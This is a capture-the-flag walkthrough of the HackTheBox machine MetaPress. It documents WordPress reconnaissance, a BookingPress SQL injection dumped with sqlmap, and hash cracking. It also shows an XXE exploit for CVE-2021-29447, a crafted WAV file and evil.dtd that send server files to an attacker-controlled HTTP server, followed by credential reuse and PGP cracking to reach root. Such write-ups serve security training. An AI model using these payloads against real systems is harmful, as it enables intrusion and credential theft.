Recon
nmap scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
└─$ nmap -T5 -Pn -p- -sV -A 10.10.11.186
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
| 256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_ 256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open http nginx 1.18.0
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-generator: WordPress 5.6.2
|_http-title: MetaPress – Official company site
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0
|
Browsing at http://metapress.htb/ we face a webserver build with Wordpress.
Wordpress recon
Looking at the nmap scan, we find that version v5.6.2 of Wordpress is used.
We found the login page at: http://metapress.htb/wp-login.php.
Looking at the error message when trying credentials, we can validate that the user admin
exist.
I managed to run a wpscan scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
└─$ wpscan --rua -e ap,at,tt,cb,dbe,u,m --plugins-detection aggressive --url http://metapress.htb
[...]
[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
[+] XML-RPC seems to be enabled: http://metapress.htb/xmlrpc.php
[+] The external WP-Cron seems to be enabled: http://metapress.htb/wp-cron.php
[i] Plugin(s) Identified:
[+] bookingpress-appointment-booking
| Location: http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/
| Version: 1.0.10 (100% confidence)
[+] feed
| Location: http://metapress.htb/wp-content/plugins/feed/
| The version could not be determined.
[+] leira-roles
| Location: http://metapress.htb/wp-content/plugins/leira-roles/
| Version: 1.1.8.0 (100% confidence)
[+] WordPress theme in use: twentytwentyone
| Version: 1.1
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] manager
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
|
We identify two users: admin
& manager
. We find that xmlrpc & wp-cron seems to be enabled.
We find 3 plugins:
- bookingpress-appointment-booking
- feed
- leira-roles
The wordpress theme used is twentytwentyone
.
Path to the user
With all those informations, I managed to find some vulnerabilities on the login form, wordpress plugins & theme.
First, I tried to bypass the login form using ffuf and the wordlist from Hacktricks for both users (admin
& manager
).
1
2
3
|
└─$ ffuf -u http://metapress.htb/wp-login.php -c -w /usr/share/wordlists/auth_bypass.req -X POST -d 'username=adminFUZZ&password=admin' -H 'Content-Type: application/x-www-form-urlencoded'
└─$ ffuf -u http://metapress.htb/wp-login.php -c -w /usr/share/wordlists/auth_bypass.req -X POST -d 'username=managerFUZZ&password=coucou' -H 'Content-Type: application/x-www-form-urlencoded'
|
But it failed.
Exploiting booking plugins
After some research, I find that the booking plugin as many vulnerabilities, including some SQL injection.
I find this vulnerability on a wpscan page. Let’s try this!
- Get the nonce
Create a new appointment and extract the wpnonce. To do so, just capture the request withg BurpSuite.
As a result, we get the nonce 6f1820f2b5
- SQL Injection
With the following request, providing our nonce, we can inject SQL command on parameter.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
└─$ curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=6f1820f2b5&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sat, 05 Nov 2022 13:25:06 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.0.24
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]
|
- Results
We get the database & OS version:
- DB: 10.5.15-MariaDB-0+deb11u1
- OS: Debian 11
SQL injections works !
Dumping database
- Get database name
1
2
3
4
5
6
|
└─$ sqlmap --url="http://metapress.htb/wp-admin/admin-ajax.php" --data 'action=bookingpress_front_get_category_services&_wpnonce=6f1820f2b5&category_id=33&total_service=' --dbs --batch --random-agent -p total_service
[15:22:36] [INFO] fetching database names
available databases [2]:
[*] blog
[*] information_schema
|
We find the database blog. Let’s get all tables name from that database.
- Get tables of blog
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
└─$ sqlmap --url="http://metapress.htb/wp-admin/admin-ajax.php" --data 'action=bookingpress_front_get_category_services&_wpnonce=6f1820f2b5&category_id=33&total_service=' --batch --random-agent -p total_service -D blog --tables
[15:24:15] [INFO] fetching tables for database: 'blog'
Database: blog
[27 tables]
+--------------------------------------+
| wp_bookingpress_appointment_bookings |
| wp_bookingpress_categories |
| wp_bookingpress_customers |
| wp_bookingpress_customers_meta |
| wp_bookingpress_customize_settings |
| wp_bookingpress_debug_payment_log |
| wp_bookingpress_default_daysoff |
| wp_bookingpress_default_workhours |
| wp_bookingpress_entries |
| wp_bookingpress_form_fields |
| wp_bookingpress_notifications |
| wp_bookingpress_payment_logs |
| wp_bookingpress_services |
| wp_bookingpress_servicesmeta |
| wp_bookingpress_settings |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+--------------------------------------+
|
We get all tables from blog, the wp_users seems interesting :eyes:.
- Dump wp_users table data
1
2
3
4
5
6
7
8
9
10
|
└─$ sqlmap --url="http://metapress.htb/wp-admin/admin-ajax.php" --data 'action=bookingpress_front_get_category_services&_wpnonce=6f1820f2b5&category_id=33&total_service=' --batch --random-agent -p total_service -D blog -T wp_users --dump
Table: wp_users
[2 entries]
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1 | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb | admin | 0 | admin | admin | 2022-06-23 17:58:28 | <blank> |
| 2 | <blank> | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager | 0 | manager | manager | 2022-06-23 18:07:55 | <blank> |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
|
Retrieve manager account
Using john, we can try retrieve password from hashes.
1
2
3
|
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
partylikearockstar (?) # manager
|
We only retrieve the password of the user manager
. We can now login in at http://metapress.htb/wp-login.php using manager:partylikearockstar
.
We have now access to the Wordpress Dashboard.
Getting a user shell
First, I saw that we can upload file at http://metapress.htb/wp-admin/media-new.php. So, I tried to upload a reverse shell using multiple extension like PNG, but none of them work.
Again, on the wpscan vulnerabilities page we find an authenticated XXE for Wordpress version 5.6-7.
This exploit allow us to get a reverse shell throught the upload page by putting a payload on a WAV file.
I find a POC on github, let’s try this!
Exploiting CVE-2021-29447
- Start a PHP server that will receive datas from the target
- Generate the payload and the evil file
The payload is a WAV file that contains attacker @IP & port. It contains also path to an evil file (evil.dtd). This file contains the path to the file to be dumped on the target, dumped file will send base64 encoded with zlib.
1
2
|
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.11:8001/?p=%file;'>" >
|
Here the file contains path to /etc/passwd
file.
-
Upload the WAV file on the target dashboard
-
Get and decode data receive on the attacker server
-
All commands:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
└─$ git clone https://github.com/motikan2010/CVE-2021-29447.git; cd CVE-2021-29447
# start attacker server
└─$ php -S 0.0.0.0:80001
[Sat Nov 5 16:11:47 2022] PHP 8.1.12 Development Server (http://0.0.0.0:8001) started
# Generate the payload
└─$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.16.11:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav
# Generate the evil.dtd file
└─$ cat evil.dtd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.11:8001/?p=%file;'>" >
# Upload file on the website
# Get the result from the attacker server and decode it using php
└─$ php -r 'echo zlib_decode(base64_decode("base64_data"));'
|
As a result, we get all the content of passwd !
1
2
3
4
5
6
|
root:x:0:0:root:/root:/bin/bash
[...]
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
|
Getting credentials
First, I tried to get the SSH private key of the user jnelson
at /home/jnelson/.ssh/id_rsa
but the file does not exist.
Then, I managed to get the nginx config file to try to find some informations about the Wordpress website. I tried to get the config of the default website set in nginx. The file is located at /etc/nginx/sites-enabled/default
.
Sending again our WAV payload we get the content of the config file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
└─$ php decryption.php
server {
listen 80;
listen [::]:80;
root /var/www/metapress.htb/blog;
index index.php index.html;
if ($http_host != "metapress.htb") {
rewrite ^ http://metapress.htb/;
}
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
expires max;
log_not_found off;
}
}
|
We get the root path of the metapress.htb website. We can now try to get the wp-config.php
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
└─$ php decryption.php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
|
We found credentials of the MySQL database and of the FTP server.
Connecting into the FTP using metapress.htb:9NYS_ii@FyL_p5M2NvJ
we find the content of the metapress blog and one directory mailer
that contains the following send_email.php
php file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
└─$ cat send_email.php
[...]
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";
$mail->addAddress("info@metapress.htb");
|
Table of credentials that we own
Service |
Username |
Password |
MySQL (blog db) |
blog |
635Aq@TdqrCwXFUZ |
FTP |
metapress.htb |
9NYS_ii@FyL_p5M2NvJ |
MAIL |
jnelson@metapress.htb |
Cb4_JmWM8zUZWMu@Ys |
Trying password-reuse
I tried to use those password to connect into the SSH server and the Mail password actually works!
1
2
3
4
5
|
└─$ ssh jnelson@10.10.11.186
jnelson@10.10.11.186's password: Cb4_JmWM8zUZWMu@Ys
jnelson@meta2:~$ cat user.txt
**************************2cbf4c
|
We can get the user flag :)
Path to the privesc
Local recon
Checking the user’s home, we find an uncommon directory .passpie
.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
jnelson@meta2:~/.passpie$ ls -alih
total 24K
9507 dr-xr-x--- 3 jnelson jnelson 4.0K Oct 25 12:52 .
4308 drwxr-xr-x 4 jnelson jnelson 4.0K Oct 25 12:53 ..
26561 -r-xr-x--- 1 jnelson jnelson 3 Jun 26 13:57 .config
27582 -r-xr-x--- 1 jnelson jnelson 5.2K Jun 26 13:58 .keys
5128 dr-xr-x--- 2 jnelson jnelson 4.0K Oct 25 12:52 ssh
jnelson@meta2:~/.passpie$ ls -alih ssh
total 16K
5128 dr-xr-x--- 2 jnelson jnelson 4.0K Oct 25 12:52 .
9507 dr-xr-x--- 3 jnelson jnelson 4.0K Oct 25 12:52 ..
5146 -r-xr-x--- 1 jnelson jnelson 683 Oct 25 12:52 jnelson.pass
5145 -r-xr-x--- 1 jnelson jnelson 673 Oct 25 12:52 root.pass
|
We find two PGP encrypted message jnelson.pass
& root.pass
at /home/jnelson/.passpie
. And the public & private PGP key at /home/jnelson/.passpie/.keys
.
Attacking PGP message
I managed to bruteforce the private key using john to get the passphrase.
1
2
3
4
5
6
|
# create the hash using gpg2john
└─$ gpg2john priv > hash
# bruteforce passphrase
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
blink182 (Passpie)
|
It works! We get the passphrase of jnelson.
Then, if we decrypt the jnelson.pass
file using the private key and the passphrase we retrieve the SSH password Cb4_JmWM8zUZWMu@Ys
of jnelson
that we already have.
Using the same method we can decrypt the root.pass
file. We get the pass p7qfAZt4_A1xo_0x
. Using the su
command, we can connect into the root user using the retrieved password.
1
2
3
4
5
|
jnelson@meta2:~/.passpie$ su
Password: p7qfAZt4_A1xo_0x
root@meta2:~# cat /root/root.txt
61877305e869dbd050344da9bc71e64a
|
We can get the root flag :)